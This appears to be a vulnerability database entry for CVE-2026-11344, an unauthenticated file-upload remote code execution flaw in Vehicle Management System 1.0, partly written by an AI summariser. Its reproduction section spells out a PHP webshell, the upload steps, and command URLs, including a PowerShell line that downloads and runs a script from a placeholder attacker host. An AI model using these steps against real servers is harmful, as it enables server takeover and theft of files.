CVE-2026-11344
Description
Unauthenticated remote code execution via unrestricted file upload in Vehicle Management System 1.0's newdriver.php.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Unauthenticated remote code execution via unrestricted file upload in Vehicle Management System 1.0's newdriver.php.
Vulnerability
A vulnerability exists in code-projects Vehicle Management System version 1.0, specifically within the newdriver.php file of the New Driver Registration Form component. The photo argument in a multipart/form-data POST request allows for unrestricted file uploads. This vulnerability affects version 1.0 [1].
Exploitation
An unauthenticated attacker can exploit this vulnerability by directly accessing the newdriver.php page without any session validation or credentials. The attacker can then submit the driver registration form, uploading a PHP webshell disguised as a photo. This webshell will be saved to the /picture/ directory, allowing the attacker to execute arbitrary OS commands on the server by navigating to the uploaded shell [1].
Impact
Successful exploitation of this vulnerability grants the attacker full Remote Code Execution (RCE) capabilities. The commands will be executed with the privileges of the web server process, potentially leading to a complete compromise of the server [1].
Mitigation
No specific patch or fixed version has been disclosed in the available references. The vendor's website is available for general information [2].
AI Insight generated on Jun 5, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
3- Range: =1.0
Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The application fails to validate uploaded file types, allowing arbitrary file uploads."
Attack vector
An unauthenticated attacker can directly access the newdriver.php endpoint, which handles new driver registrations. The 'photo' upload parameter does not perform any validation on the file type, allowing an attacker to upload a PHP webshell. This webshell is then saved to the /picture/ directory, enabling the attacker to execute arbitrary OS commands by accessing the uploaded file remotely. The same vulnerability exists in the newvehicle.php file [ref_id=1].
Affected code
The vulnerability resides in the newdriver.php and newvehicle.php files, specifically within the 'photo' upload parameter. The application saves the uploaded shell to the /picture/ directory [ref_id=1].
What the fix does
The advisory does not specify any patches or fixes. Remediation guidance suggests implementing proper file type validation, extension filtering, and content inspection for all file uploads to prevent unrestricted file uploads.
Preconditions
- authNo authentication is required to access the vulnerable endpoints [ref_id=1].
- networkThe attack can be initiated remotely over the network [ref_id=1].
Reproduction
Step 1 — Confirm unauthenticated access to newdriver.php Open a fresh browser with no session (incognito/private window). Navigate directly to the endpoint: http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
The New Driver Form loads successfully with no authentication check and no redirect to login.
Step 2 — Prepare the PHP webshell Create a simple PHP command execution webshell: <?php system($_GET['cmd']); ?> Save it as shell.php (or any .php filename).
Step 3 — Submit the form with the webshell as the photo Fill in the driver form fields with any values and select the PHP webshell as the photo upload: Driver Name: test Mobile: 1234567890 Driver Joining Date: 2026-05-19 National ID: test License No: test License End Date: 2026-05-30 Driver Address: test Photo: shell.php ← PHP webshell uploaded here
Click Submit Query.
Step 4 — Shell upload confirmed The application responds with "Registration Completed!" — confirming the PHP shell was accepted and saved with no validation.
Step 5 — Execute arbitrary commands via the uploaded shell Navigate to the uploaded shell in the /picture/ directory and pass OS commands via the cmd parameter: http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
The server executes the command and returns the output:
Step 6 — Further command execution examples # Read sensitive files http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
Second Affected Endpoint — newvehicle.php The identical vulnerability exists in newvehicle.php. An unauthenticated attacker can access the Add New Vehicle form, upload a PHP webshell via the vehicle photo field, and achieve RCE through the same method. http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Both endpoints share the same root cause: no session validation and no file upload restrictions. [ref_id=1]
Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5News mentions
0No linked articles in our index yet.